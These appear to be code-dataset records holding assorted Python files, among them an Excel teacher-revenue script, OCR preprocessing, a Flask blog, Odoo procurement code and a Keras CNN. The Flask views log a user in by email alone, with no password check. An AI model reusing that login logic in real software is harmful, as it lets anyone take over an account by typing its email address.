STU_CAP_POS = 7 # 班级容量信息位于excel中的第几列(从0开始)。\n# OPENDATE_POS = 8 # 开班日期信息位于excel中的第几列(从0开始)。\n# CLOSEDATE_POS = 9 # 结课日期信息位于excel中的第几列(从0开始)。\n# CLASS_TIMES_POS = 10 # 总课次信息位于excel中的第几列(从0开始)。\n# STU_NUM_POS = 11 # 当前学生数量信息位于excel中的第几列(从0开始)。\n\n# 打开excel。\n# table, rows, cols类似于全局变量,可直接用于function中。\ndata = xlrd.open_workbook( CLASS_SCHEDULE_FILE )\ntable = data.sheets()[0]\nrows = table.nrows\ncols = table.ncols\n\n# STEP1. 根据用户输入的时间范围,找出table中的index。\n[start, end, st, ft, mindate, maxdate] = GetIndex( CLASS_DATE_POS )\n\n# STEP2. 用户输入要查询的项目部门。\nDep = GetDep( DEPT_TYPE )\n\n# STEP3. 用户输入要查询的课程类型。\ncyconsts = GetClassname( CLASS_TYPE )\n\n# STEP4. 计算每位教师的产能等。\n# (1).以开班编号为primary key来扫描并统计班表。\n# 用resclstab和classes存放计算结果。\n\n# 赋初值:\nresclstab = [] # Result Class Table.\n# 用于计算的classes dictionary.\n# 班级编号为key,value为一个dict{该班级的所有老师名:其对应的上课次数}。\nclasses = {}\n# 读入excel\nheader = table.row_values(0) # 第一行为表头。\nfor i in range(start, end):\n r = table.row_values(i)\n curdep = r[DEPT_POS] # 当前部门。\n curcls = r[CLASS_POS] # 当前课程种类。\n\n # Sentinels\n # Department Constraint.\n if len(Dep) >= 1: # 没有使用default的情况。\n if Dep not in curdep:\n continue\n # Class Type Constraint.\n if len(cyconsts) >= 1: # 没有使用default的情况。\n flag = isinClassType(CLASS_TYPE, cyconsts, curcls, r[STU_NUM_POS])\n if not flag:\n continue\n # 排除已取消的课程。\n if \"取消\" in r[CLASS_POS]:\n continue\n # 排除自习课、辅导课、模考等。\n if len(r[TEACHERS_POS]) == 0:\n continue\n\n clsnum = r[CLASS_NUM] # 当前课号。\n cur_t = r[TEACHERS_POS] # 当前教师。\n # 当前课号第一次出现时:\n if clsnum not in classes.keys():\n t4tc = {cur_t: 1} # teacher for this class.\n # 更新classes dictionary.\n classes[clsnum] = t4tc\n # 更新Result Class Table.\n opendate = xlrd.xldate_as_datetime(r[OPENDATE_POS], 0)\n closedate = xlrd.xldate_as_datetime(r[CLOSEDATE_POS], 0)\n tmp = [curdep, curcls, clsnum, r[FEE_POS], r[CLASS_TIMES_POS], r[STU_CAP_POS], r[STU_NUM_POS]]\n resclstab.append(tmp)\n else:\n # 当前课号已存在于classes中的情况:\n if cur_t in classes[clsnum].keys(): # 当前教师已存在于该课号中。\n classes[clsnum][cur_t] += 1\n else: # 当前教师不存在于该课号中。\n classes[clsnum][cur_t] = 1\n\n# (2).以教师为primary key,整理&修改classes和resclstab。\ntotalclsn = len(resclstab) # Total classes number.\ntotalfee = 0 # 总业绩初值。\nteacherlist = {} # 参与教师dict初值。\nfor i in range(totalclsn):\n clsnum = resclstab[i][2]\n # 计算该班的业绩。\n # resclstab[i][6]表示该班级的学生数量。\n\n # 学生数量不为空,则有可能开班。\n if isinstance(resclstab[i][6], float):\n # 学生数量大于0则按实际人数计算该班级创造的业绩。\n if resclstab[i][6] > 0:\n # resclstab[i][3]表示每位学生的学费。\n fee = resclstab[i][3] * resclstab[i][6] # 学费乘以人数。\n # 学生数量为0则按预期班级容量计算该班级创造的(预期)业绩。\n else:\n if resclstab[i][5] == \"6人\":\n fee = resclstab[i][3] * 6\n else:\n fee = resclstab[i][3]\n # 学生数量为空,则没有开班。\n else:\n fee = 0\n\n tct = resclstab[i][4] # Total Class Times.\n # 该班级的业绩加入总业绩。\n totalfee += fee\n # 更新该课程中每位老师的课数、课时贡献百分比 和 对应的完成业绩。\n for t in classes[clsnum].keys():\n # 首次统计到该老师时,将其姓名加入teacherlist。\n if t not in teacherlist.keys():\n teacherlist[t] = 0\n times = classes[clsnum][t] # t老师在该班级上了times课。\n p = times / tct # t老师在该班级上课所占总课次的比例。\n # 更新classes,存入t老师在该班级上了times课,占所有课次的比例,以及对应该班级学费的业绩。\n classes[clsnum][t] = [times, round(p, 2), round(p * fee, 2)]\n # 更新resclstab中的classes信息。\n resclstab[i].append(classes[clsnum])\n# 参与教师总数。\ntotaltn = len(teacherlist.keys())\n\n\n# 输出3个结果文件。\n# 输出结果文件1:“Summary.txt”.\nif len(st) < 1:\n st = mindate.strftime(\"%Y-%m-%d\")\nif len(ft) < 1:\n ft = maxdate.strftime(\"%Y-%m-%d\")\nif len(Dep) < 1:\n Dep = \"全部项目部\"\nif len(cyconsts) < 1:\n cyconsts = \"全部\"\n\noutput_text = (\"您选择了 \" + st + \" 到 \" + ft + \"\\n\"\n + Dep + \"\\n\"\n + cyconsts + \"课程项目\\n\"\n + \"\\n\"\n + \"共开班:\" + str(totalclsn) + \"节\\n\"\n + \"共\" + str(totaltn) + \"位教师参与教学\\n\"\n + \"完成业绩:\" + str(totalfee) + \"元\\n\")\nf = open(\"Summary.txt\", \"w\")\nf.write(output_text)\nf.close()\n\n# 输出结果文件2:“Classes_Table.txt”.\nf = open(\"Classes_Table.txt\", \"w+\")\nfor i in range(len(resclstab)):\n f.writelines(str(resclstab[i]) + \"\\n\")\nf.close()\n\n# 输出结果文件3:“Teacher_List.xlsx”.\n# 计算教师产值列表。\n# 按每个班级中的每个教师的产能,叠加到teacherlist中该教师的总产能。\nfor c in classes.keys():\n for t in classes[c].keys():\n individ = classes[c][t][2] # 个人业绩。\n teacherlist[t] += round(individ, 2)\n# 排序教师产值.\n# 对teacherlist(dict)的value排序。\noutput = sorted(teacherlist.items(), key=lambda item: item[1], reverse=True)\n# 在内存中创建一个workbook对象,而自动创建一个worksheet。\nwb = Workbook()\n# 获取当前活跃的worksheet,默认就是第一个worksheet。\nws = wb.active\nfor i in range(totaltn):\n ws.append(output[i])\nwb.save(\"Teacher_List.xlsx\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"201805_Programs/Xdf_Overall_Script_v2.py","file_name":"Xdf_Overall_Script_v2.py","file_ext":"py","file_size_in_byte":15359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"169920313","text":"import cv2\nimport numpy as np\nimport os\nimport shutil\nimport elim_pure_borders\n# import corr_ang_by_radon\n# import corr_ang_by_minAreaRect\nimport get_img_rot_broa\n\n\ndef extract_ocr_region(\n datasets_root_path,\n img_extracted_path,\n labels_out_path\n):\n \"\"\"\n Description:\n To extract ocr regions from the raw imgs,\n and record corresponding label.\n\n params:\n path_with_raw_imgs_and_labels,\n path to save imgs extracted,\n path to save labels by lines\n return: None\n \"\"\"\n if os.path.exists(labels_out_path):\n os.remove(labels_out_path)\n if os.path.exists(img_extracted_path):\n shutil.rmtree(img_extracted_path)\n os.mkdir(img_extracted_path)\n\n # get paths\n label_axis_paths = sorted(\n os.listdir(os.path.join(datasets_root_path, 'txt_9000'))\n )\n for i in range(len(label_axis_paths)):\n label_axis_paths[i] = os.path.join(\n datasets_root_path, 'txt_9000', label_axis_paths[i]\n )\n\n image_paths = sorted(\n os.listdir(os.path.join(datasets_root_path, 'image_9000'))\n )\n for i in range(len(image_paths)):\n image_paths[i] = os.path.join(\n datasets_root_path, 'image_9000', image_paths[i]\n )\n\n img_idx = 0\n for image_path_idx in range(len(image_paths))[:100]:\n img = cv2.imread(image_paths[image_path_idx])\n if img is None:\n print(\"Error img \" + image_paths[image_path_idx])\n continue\n print('image_path:', image_paths[image_path_idx])\n lab_ax_path = label_axis_paths[image_path_idx]\n with open(lab_ax_path, 'r') as fin:\n for line in fin.readlines():\n (axis, label) = (line.strip().split(',')[:-1],\n line.strip().split(',')[-1])\n if label == '###':\n continue\n point_axis_1 = [round(float(axis[0])), round(float(axis[1]))]\n point_axis_2 = [round(float(axis[2])), round(float(axis[3]))]\n point_axis_3 = [round(float(axis[4])), round(float(axis[5]))]\n point_axis_4 = [round(float(axis[6])), round(float(axis[7]))]\n canvas = np.zeros_like(img)\n point_axis = np.array([[point_axis_1, point_axis_2,\n point_axis_3, point_axis_4]])\n mask = cv2.fillPoly(\n canvas,\n point_axis,\n (255, 255, 255)\n )\n text = cv2.bitwise_and(img, mask)\n # 怎样才能保证 全为字白背景黑 或 全为字黑背景白呢?\n\n # Get diagonal point\n idx_dis_max = np.argmax(\n np.sum((point_axis[0] - point_axis_1)**2, axis=1)\n )\n\n point_axis_diag_pair = [point_axis[0][0],\n point_axis[0][idx_dis_max]]\n diagonal_line_square_len = np.sum(np.square((\n point_axis_diag_pair[0] - point_axis_diag_pair[1])))\n # get left side 2 points\n left_two_points = sorted(point_axis[0], key=lambda x: x[1])[:2]\n if diagonal_line_square_len < 666:\n correcting_angle = 0\n else:\n # 矫正ocr区域的角度, depending on the the slope\n # between 4 vertices and the centroid.\n centroid_x, centroid_y = (np.mean(point_axis[0][:, 0]),\n np.mean(point_axis[0][:, 1]))\n vertical_existence = False\n for idx_prev_zero in range(4):\n if not point_axis[0][idx_prev_zero][0] - centroid_x:\n vertical_existence = True\n break\n if not vertical_existence:\n correcting_angle = (\n np.arctan((point_axis_1[1] - centroid_y) /\n (point_axis_1[0] - centroid_x)) +\n np.arctan((point_axis_2[1] - centroid_y) /\n (point_axis_2[0] - centroid_x)) +\n np.arctan((point_axis_3[1] - centroid_y) /\n (point_axis_3[0] - centroid_x)) +\n np.arctan((point_axis_4[1] - centroid_y) /\n (point_axis_4[0] - centroid_x))\n ) / 4\n correcting_angle = np.rad2deg(correcting_angle)\n if not (left_two_points[0][0] -\n left_two_points[1][0]):\n correcting_angle = 90\n elif (abs(left_two_points[0][1] -\n left_two_points[1][1]) /\n abs(left_two_points[0][0] -\n left_two_points[1][0])) > 1.23 * np.pi:\n correcting_angle = 90 - correcting_angle\n elif (np.abs(point_axis_diag_pair[0][1] -\n point_axis_diag_pair[1][1]) >\n np.abs(point_axis_diag_pair[0][0] -\n point_axis_diag_pair[1][0])):\n # the region should lie but for standing.\n correcting_angle = 90\n else:\n correcting_angle = 0\n # print(\"correcting_angle:\", correcting_angle)\n text_rot = get_img_rot_broa.get_img_rot_broa(text,\n correcting_angle)\n # text_rot = corr_ang_by_radon.corr_ang_by_radon(text)[0]\n text_cropped = elim_pure_borders.elim_pure_borders(text_rot)\n if text_cropped is None:\n print(\"text_cropped:\", text_cropped)\n print(\"img_idx:\", img_idx)\n continue\n cv2.imwrite(os.path.join(img_extracted_path,\n str(img_idx)+'.jpg'),\n text_cropped)\n\n # show figures\n # import matplotlib.pyplot as plt\n # fig, (ax0, ax1, ax2) = plt.subplots(1, 3, figsize=(10, 4))\n # ax0.imshow(cv2.cvtColor(text, cv2.COLOR_BGR2RGB))\n # ax0.set_title('text')\n # ax1.imshow(cv2.cvtColor(text_rot, cv2.COLOR_BGR2RGB))\n # ax1.set_title('text_rot')\n # ax2.imshow(cv2.cvtColor(text_cropped, cv2.COLOR_BGR2RGB))\n # ax2.set_title('text_cropped')\n # plt.show()\n if cv2.imread(\n os.path.join(img_extracted_path, str(img_idx)+'.jpg')\n ) is None:\n os.remove(\n os.path.join(img_extracted_path, str(img_idx)+'.jpg')\n )\n continue\n\n img_idx += 1\n\n # single labels\n with open('./labels_out.txt', 'a+') as fout:\n fout.write(label + '\\n')\n","sub_path":"data_preprocessing/make_slim_ones_lying.py","file_name":"make_slim_ones_lying.py","file_ext":"py","file_size_in_byte":7248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"522916405","text":"import abc\nfrom benchmark.Benchmark import *\nimport logging\nimport csv\nimport datetime\nimport os\nimport random\n\nlogging.basicConfig(format='%(asctime)s - %(filename)s - [line:%(lineno)d] - %(levelname)s: %(message)s',\n level=logging.INFO)\n\n\nclass Algorithm(metaclass=abc.ABCMeta):\n\n def __init__(self, **kwargs):\n self.func = kwargs.pop('func', Ackley())\n self.population = kwargs.pop('population', 50)\n self.iterations = kwargs.pop('iterations', 200)\n self.precision = kwargs.pop('precision', 0.0001)\n self.eval_counter = 0\n self.best_solution = []\n self.current_solution = []\n\n\n @abc.abstractmethod\n def initial_position(self):\n pass\n\n @abc.abstractmethod\n def run(self):\n pass\n\n # @staticmethod\n # def RouletteWheelSelection(self, weights):\n # accumulation = np.cumsum(weights)\n # p = random.random() * accumulation[-1]\n # chosen_index = -1\n # for index in range(len(accumulation)):\n # if (accumulation[index] > p):\n # chosen_index = index\n # break\n # choice = chosen_index\n # return choice\n\n def target_function(self, position):\n self.eval_counter += 1\n return self.func.eval(position)\n\n def stop_condition(self, i, optimum_now):\n if i >= self.iterations:\n return True\n if abs(optimum_now - self.func.get_optimum()[-1]) <= self.precision:\n return True\n return False\n\n def best_output(self):\n logging.info(\"coordinate: %s,values: %s\" % (str(self.best_solution[0]), str(self.best_solution[1])))\n\n\n def save(self):\n time = datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')\n path = \"../statistics/%s/%s\" % (self.__class__.__name__, self.func.__class__.__name__)\n directory = os.path.exists(path)\n if not directory:\n os.makedirs(path)\n\n filename = (\"%s/%s.csv\" % (path, time))\n print(filename)\n f = open(filename, \"w\", newline=\"\")\n writer = csv.writer(f)\n for row in self.current_solution:\n writer.writerow(row)\n f.close()\n\n","sub_path":"Algorithms/algorithm.py","file_name":"algorithm.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"94357153","text":"from app.forms import LoginForm,PostForm\nfrom flask import render_template, flash, redirect,session,url_for,request,g\nfrom app import app,db,lm,categorys\nfrom flask_login import login_user,logout_user,current_user,login_required\nfrom app.models import Users,ROLE_USER,ROLE_ADMIN,Categorys,Posts\nimport datetime\n\n@login_required\ndef index_bak():\n user =g.user \n #jame={'nickname':'jame'}\n #robot={'nickname':'robot'}\n li={'content':'helloworld'}\n posts=[\n{\n'author':{'nickname':'robot'},\n'body':'good day'\n},\n{\n'author':{'nickname':'jame'},\n'body':'aha'\n}\n]\n return render_template('index.html',user=user,posts=posts,li=li)\n\n@app.route('/')\n@app.route('/index')\ndef index():\n posts=Posts.query.order_by(Posts.timestamp.desc()).limit(10)\n return render_template('index.html',posts=posts)\n\n@app.route('/login')\n#@oid.loginhandler\ndef login():\n if g.user is not None and g.user.is_authenticated():\n return redirect(url_for('index'))\n form=LoginForm()\n return render_template('login.html',form=form, title='sign in')\n\t#form=form,\n #providers=app.config['OPENID_PROVIDERS'])\n\n@app.route('/logout')\ndef logout():\n logout_user()\n return redirect(url_for('index'))\n\n@lm.user_loader\ndef load_user(id):\n return Users.query.get(int(id))\n\n@app.before_request\ndef before_request():\n g.categorys=categorys\n g.user=current_user\n\n@app.route('/user/')\n@login_required\ndef user(nickname):\n user=Users.query.filter_by(nickname=nickname).first()\n if user==None:\n flash('no such user:'+nickname+'!')\n return redirect(url_for('index'))\n posts=[\n{'author':user,'body':'Testpost #1'},\n{'author':user,'body':'Testpost #2'},\n]\n return render_template('user.html',user=user,posts=posts)\n@app.route('/category/')\ndef category(category_name):\n cate=Categorys.query.filter_by(name=category_name).first()\n if cate==None:\n flash('no such category:'+category_name+'!')\n return redirect(url_for('index'))\n return render_template('category.html',category=cate)\n\n@app.route('/post/')\n@app.route('/post//',methods=['GET','POST'])\ndef post(id,action='view'):\n#view,save,edit\n p=Posts.query.get(int(id))\n if p==None:\n flask('no such post:'+id+'!')\n return redirect(url_for('index'))\n else:\n print(p.body)\n if action=='view':\n return render_template('post.html',post=p)\n elif action=='save':\n#update post\n f=PostForm()\n p.category_id=f.category_id.data\n p.body=f.body.data\n p.title=f.title.data\n db.session.add(p)\n db.session.commit()\n return render_template('post.html',post=p)\n elif action=='edit':\n return render_template('edit_a_post.html',post=p)\n else:\n return redirect(url_for('index'))\n\n@app.route('/do/', methods = ['POST'])\ndef do(type):\n print('type=',type)\n if type=='post':\n return do_type()\n if type=='login':\n return do_login()\n \ndef do_login():\n form=LoginForm()\n email=form.YOU_KNOW_WHAT.data\n remember_me=form.remember_me.data\n user=Users.query.filter_by(email=email).first()\n if user is not None and user.is_authenticated():\n g.user=user\n else:\n flash('input error');\n return redirect(url_for('login'))\n login_user(user, remember = remember_me)\n return redirect(url_for('index'))\n\n@login_required\ndef do_type():\n form=PostForm()\n body=form.body.data\n category_id=form.category_id.data\n title=form.title.data\n print(body,category_id,title)\n post=Posts(user_id=g.user.id,timestamp=datetime.datetime.utcnow(),body=body,category_id=category_id,title=title)\n db.session.add(post)\n db.session.commit()\n flash('Your post is now live!')\n return redirect(url_for('index'))\n\n@app.route('/post')\n@login_required\ndef post_init():\n return render_template('post_a_post.html')\n\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"106035563","text":"# -*- coding: utf-8 -*-\nfrom openerp.tools import DEFAULT_SERVER_DATETIME_FORMAT\nfrom openerp import api, fields, models, _\n\nclass PurchaseOorder(models.Model):\n _inherit = \"purchase.order\"\n \n \n#end of purchase_order()\n\n\nclass PurchaseOrderLine(models.Model):\n _inherit = \"purchase.order.line\"\n\n \n#end of PurchaseOrderLine()\n\nclass ProductTemplate(models.Model):\n _inherit = \"product.template\"\n\n is_subcontract_service = fields.Boolean('is Subcontract Service?')\n \n#end of ProductTemplate()\n \nclass ProcurementOrder(models.Model):\n _inherit = 'procurement.order'\n\n @api.model\n def _is_procurement_subcontract_service(self, procurement):\n return procurement.product_id.type == 'service' and procurement.product_id.is_subcontract_service or False\n \n @api.model\n def _assign(self, procurement):\n res = super(ProcurementOrder, self)._assign(procurement)\n if not res:\n return self._is_procurement_subcontract_service(procurement)\n return res\n\n @api.model\n def _run(self, procurement):\n res = []\n if self._is_procurement_subcontract_service(procurement) and not procurement.purchase_id:\n #create a purchase order for the procurement\n if not procurement.product_id.seller_ids:\n procurement.message_post(body=_('No vendor associated to product %s. Please set one to fix this procurement.') % (procurement.product_id.name))\n return res\n supplier = procurement.product_id.seller_ids[0]\n partner = supplier.name\n vals_po = procurement._prepare_purchase_order_subcontract_service(partner)\n po = self.env['purchase.order'].create(vals_po)\n res += po.ids \n vals_po_line = procurement._prepare_purchase_order_line(po, supplier)\n self.env['purchase.order.line'].create(vals_po_line)\n return res\n return super(ProcurementOrder, self)._run(procurement)\n\n @api.model\n def _check(self, procurement):\n if self._is_procurement_subcontract_service(procurement):\n return procurement.purchase_id or False\n return super(ProcurementOrder, self)._check(procurement)\n\n @api.multi\n def _prepare_purchase_order_subcontract_service(self, partner):\n self.ensure_one()\n schedule_date = self._get_purchase_schedule_date()\n purchase_date = self._get_purchase_order_date(schedule_date)\n fpos = self.env['account.fiscal.position'].get_fiscal_position(partner.id)\n\n gpo = self.rule_id.group_propagation_option\n group = (gpo == 'fixed' and self.rule_id.group_id.id) or \\\n (gpo == 'propagate' and self.group_id.id) or False\n\n return {\n 'partner_id': partner.id,\n #'picking_type_id': self.rule_id.picking_type_id.id,\n 'company_id': self.company_id.id,\n 'dest_address_id': self.partner_dest_id.id,\n 'origin': self.origin,\n 'payment_term_id': partner.property_supplier_payment_term_id.id,\n 'date_order': purchase_date.strftime(DEFAULT_SERVER_DATETIME_FORMAT),\n 'fiscal_position_id': fpos,\n 'group_id': group\n }\n \n#end of ProcurementOrder()","sub_path":"fal_subcontract_service/models/purchase.py","file_name":"purchase.py","file_ext":"py","file_size_in_byte":3271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"198887354","text":"def conv(n):\n if n == 0:\n return ''\n elif n<=19:\n return('uno','due','tre','quattro','cinque','sei','sette','otto','nove',\n 'dieci','undici','dodici','tredici','quattordici','quindici','sedici',\n 'diciassette','diciotto','diciannove')[n-1]\n elif n<= 99:\n decina=('venti','trenta','quaranta','cinquanta','sessanta','settanta',\n 'ottanta','novanta')[int(n/10)-2]\n if n%10==1 or n%10==8 :\n decina= decina[:-1]\n return decina+conv(n%10)\n elif n<= 199 :\n return 'cento'+ conv(n%100)\n elif n<=999:\n l='cento'\n if int((n%100)/10)==8:\n l=l[:-1]\n return conv(int(n/100))+l+conv(n%100)\n elif n<=1999:\n return 'mille'+conv(n%1000)\n elif n<=999999:\n return conv(int(n/1000)) + 'mila' + conv(n%1000)\n elif n<= 1999999:\n return 'unmilione' + conv(n%1000000)\n elif n<= 999999999:\n return conv(int(n/1000000)) + 'milioni' + conv(n%1000000)\n elif n<= 1999999999:\n return 'unmiliardo' + conv(n%1000000000)\n else:\n return conv(int(n/1000000000)) + 'miliardi' + conv(n%1000000000)\n \n","sub_path":"students/1804395/homework01/program02.py","file_name":"program02.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"506913775","text":"from Data import SoupService\nfrom Data import DataDictionary\n\n\n# return the next games in schedule\n# input: team name (string) and number of games queried (int)\n# output: user string (string)\ndef get_next_schedule(team, num):\n SoupService.generate_schedule(team)\n upcoming_games = SoupService.upcoming_games\n\n # by default will return the next game\n if not num:\n next_game = upcoming_games[0]\n location, opponent = __process_name__(next_game[1])\n\n return \"\\nThe next game is on %s against %s (%s) at %s.\" % (next_game[0], opponent, location, next_game[2])\n\n else:\n output = \"Next %i games:\\n\" % num\n for i in range(num):\n location, opponent = __process_name__(upcoming_games[i][1])\n output += \"%s: %s game against %s at %s.\\n\" % (upcoming_games[i][0], location, opponent,\n upcoming_games[i][2])\n return output\n\n\n# return the past game results\n# input: team name (string) and number of games queried (int)\n# output: user string (string)\ndef get_past_games(team, num):\n SoupService.generate_schedule(team)\n played_games = SoupService.played_games\n\n if not num:\n last_game = played_games[-1]\n\n location, opponent = __process_name__(last_game[1])\n result, score = __process_score__(last_game[2])\n\n return \"The last game was a %s %s at %s against %s on %s.\" % (score, result, location, opponent, last_game[0])\n\n else:\n output = \"Past %i game scores:\\n\" % num\n counter = len(played_games)-1\n for i in range(num):\n location, opponent = __process_name__(played_games[counter][1])\n result, score = __process_score__(played_games[counter][2])\n\n output += \"%s: %s %s against %s at %s.\\n\" % (played_games[counter][0], score, result, opponent, location)\n counter -= 1\n\n return output\n\n\n# sanitizes string and parses into opponent and home/away\n# input: scraped string\n# output: opponent and home court location\ndef __process_name__(text):\n\n if \"@\" in text:\n location = \"away\"\n else:\n location = \"home\"\n\n opponent = DataDictionary.short_names[\" \".join(text.split()[1:]).strip().lower()]\n\n return location, opponent\n\n\n# sanitizes score and parses into game results\n# input: scraped string in form of w###-###ot\n# output: result and score\ndef __process_score__(text):\n overtime = ''\n\n if text[-2:-1].lower() == 'ot':\n overtime = 'overtime '\n\n if text[0].lower() == 'w':\n result = overtime + 'win'\n else:\n result = overtime + 'loss'\n\n score = text[1:]\n\n return result, score\n","sub_path":"Controllers/ScheduleController.py","file_name":"ScheduleController.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"468043765","text":"from itertools import groupby\nfrom operator import itemgetter\n\ndef group_numbers(nums):\n all_numbers = range(1, 21)\n missing_numbers = []\n\n for n in list(all_numbers):\n if n not in nums:\n missing_numbers.append(n)\n\n print('Missing numbers')\n print(missing_numbers)\n ranges = []\n for k, g in groupby(enumerate(missing_numbers), lambda x: x[0] - x[1]):\n g = map(itemgetter(1), g)\n\n l = list(g)\n if len(l) > 1:\n ranges.append(range(l[0], l[-1]))\n else:\n ranges.append(l[0])\n\n print(ranges)\nnums = [1, 2, 3, 4, 5, 12, 13]\ngroup_numbers(nums)\n\n\n","sub_path":"group-numbers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"528870631","text":"### Conv2D layers at keras (aka the filter construction layer)\n# -> layers.Conv2D(32, (3,3), activation='relu', input_shape=(28,28,1))\n# means 32 filters of 3x3 that will go through the images\n\n### Max Pooling at keras (aka the downsizing layer)\n# -> layers.MaxPooling2D((2,2))\n# 2x2 groups that returns only the pixel which has maximum value of the filter defined in the layer above\n# padding is set to same for deault, i.e, “pad in such a way as to have an output with the same width# - François Chollet - Deep Learning with python-Manning (2018)\n# the results are half the size \n\nfrom keras import layers, models\n\nclass Model():\n\tdef __init__(self, input_shape, optimizer, loss, metrics):\n\t\tself.input_shape = input_shape\n\t\tself.optimizer = optimizer\n\t\tself.loss = loss\n\t\tself.metrics = metrics\n\n\t## Salvando a rede ##\n\tdef save_model(self, model, path):\n\t\ttf.keras.models.save_model(\n\t\tmodel,\n\t\tpath,\n\t\toverwrite=True,\n\t\tinclude_optimizer=True,\n\t\tsave_format='h5'\n\t)\n\n\n\n\tdef build_model(self, print_=True):\n\t\t#CNN part\n\t\tmodel = models.Sequential()\n\t\tmodel.add(layers.Conv2D(32, (3,3), activation='relu', input_shape=self.input_shape))\n\t\tmodel.add(layers.MaxPooling2D((2,2)))\n\t\tmodel.add(layers.Conv2D(64, (3,3), activation='relu'))\n\t\tmodel.add(layers.MaxPooling2D((2,2)))\n\t\tmodel.add(layers.Conv2D(64, (3,3), activation='relu'))\n\t\tmodel.add(layers.MaxPooling2D((2,2)))\n\n\t\t#Classification part\n\t\tmodel.add(layers.Flatten())\n\t\tmodel.add(layers.Dense(50, activation='relu'))\n\t\tmodel.add(layers.Dense(10, activation='softmax'))\n\n\t\tmodel.compile(optimizer=self.optimizer, loss=self.loss, metrics=self.metrics)\n\t\t\n\t\tif(print_):\n\t\t\tprint(f'Model Summary')\n\t\t\tmodel.summary()\n\n\t\treturn model\n\n\tdef train(self, model, X_train, Y_train, epochs, batch):\n\t\thistory = model.fit(\n\t\t\tx=X_train, y=Y_train, \n\t\t\tepochs=epochs, batch_size=batch\n\t\t)\n\t\treturn history","sub_path":"Easy/MNIST/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"99495354","text":"# -*- UTF-8 -*-\nimport json\n\nfrom programmingalpha.DocSearchEngine2.util.preprocessor import PreprocessPostContent\n\n\nclass Answer:\n\n def __init__(self, body, created_date, score=0, comment_count=0):\n self.body = body\n self.score = score\n self.comment_count = comment_count\n self.created_date = created_date\n self.parsed_body = ''\n\n def to_dict(self):\n dic = {'body': self.body, 'score': self.score, 'comment_count': self.comment_count,\n 'created_date': self.created_date}\n return dic\n\n def parse_body(self):\n processor = PreprocessPostContent()\n body_para_list = processor.getProcessedParagraphs(self.body)\n self.parsed_body = \" \".join(body_para_list)\n return self.parsed_body\n\n\nif __name__ == '__main__':\n ans = Answer(\"body1\", \"2018-08-09\", 55, 21)\n s = ans.toJSON()\n print(s)\n","sub_path":"programmingalpha/DocSearchEngine2/entity/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"268057733","text":"from wordcloud import WordCloud, STOPWORDS\nimport matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\n\ndef wordcloud_viz(txt, name):\n \"\"\"plot word cloud\n\n Args:\n txt (str): text for plot\n name (str) file name\n\n Returns:\n file location\n \"\"\" \n try:\n txt = txt.lower()\n mpl.rcParams['font.size']=12 #10\n mpl.rcParams['savefig.dpi']=100 #72\n mpl.rcParams['figure.subplot.bottom']=.1\n\n # get stopwords to remove\n stopwords = set(STOPWORDS)\n\n wordcloud = WordCloud(\n background_color='white',\n stopwords=stopwords,\n max_words=200,\n max_font_size=40,\n random_state=42\n ).generate(txt)\n\n plt.figure(figsize=(20,20))\n plt.imshow(wordcloud)\n plt.axis('off')\n # plt.show()\n\n \n # if pythonanywhere, use the following url\n # plt.savefig(f\"/home/viethoangtranduong/xlite_capstone/static/image_output/{name}_most_frequent_viz.png\", dpi=500) \n \n # if not pythonanywhere\n plt.savefig(f\"./static/image_output/{name}_wordcloud_viz.jpg\", dpi=500)\n\n print(\"done wordcloud\", f\"./static/image_output/{name}_wordcloud_viz.jpg\")\n return f\"static/image_output/{name}_wordcloud_viz.jpg\"\n except:\n return \"ERROR\"","sub_path":"xlite_capstone/get_viz/wordcloud_viz.py","file_name":"wordcloud_viz.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"399332482","text":"import tensorflow as tf\nfrom tensorflow.contrib import rnn\nimport pickle\nfrom random import shuffle\nimport numpy as np\nfrom sklearn.metrics import classification_report as c_metric\n\ndef get_data_train():\n file_path = './data/batch_wise_data.pkl'\n file_ip = open(file_path, 'rb')\n data_train = pickle.load(file_ip)\n file_ip.close()\n print(\"Data has been loaded. \")\n return data_train\n\nclass BrnnForPsspModelOne:\n def __init__(self,\n \tnum_classes = 8,\n \thidden_units = 100):\n self.input_x = tf.placeholder(tf.float64, [ 5, 800, 100])\n self.input_y = tf.placeholder(tf.int64, [ 5, 800])\n self.input_msks = tf.placeholder(tf.float64, [ 5, 800])\n self.input_seq_len = tf.placeholder(tf.int64, [ 5])\n self.input_y_o = tf.one_hot(indices = self.input_y,\n depth = num_classes,\n on_value = 1.0,\n off_value = 0.0,\n axis = -1)\n\n self.hidden_units = tf.constant(hidden_units, dtype = tf.float64)\n # define weights and biases here (4 weights + 4 biases)\n self.weight_f_c = tf.Variable(0.01 * tf.random_uniform(shape=[hidden_units, num_classes], maxval=1, dtype=tf.float64), dtype=tf.float64) \n self.weight_b_c = tf.Variable(0.01 * tf.random_uniform(shape=[hidden_units, num_classes], maxval=1, dtype=tf.float64), 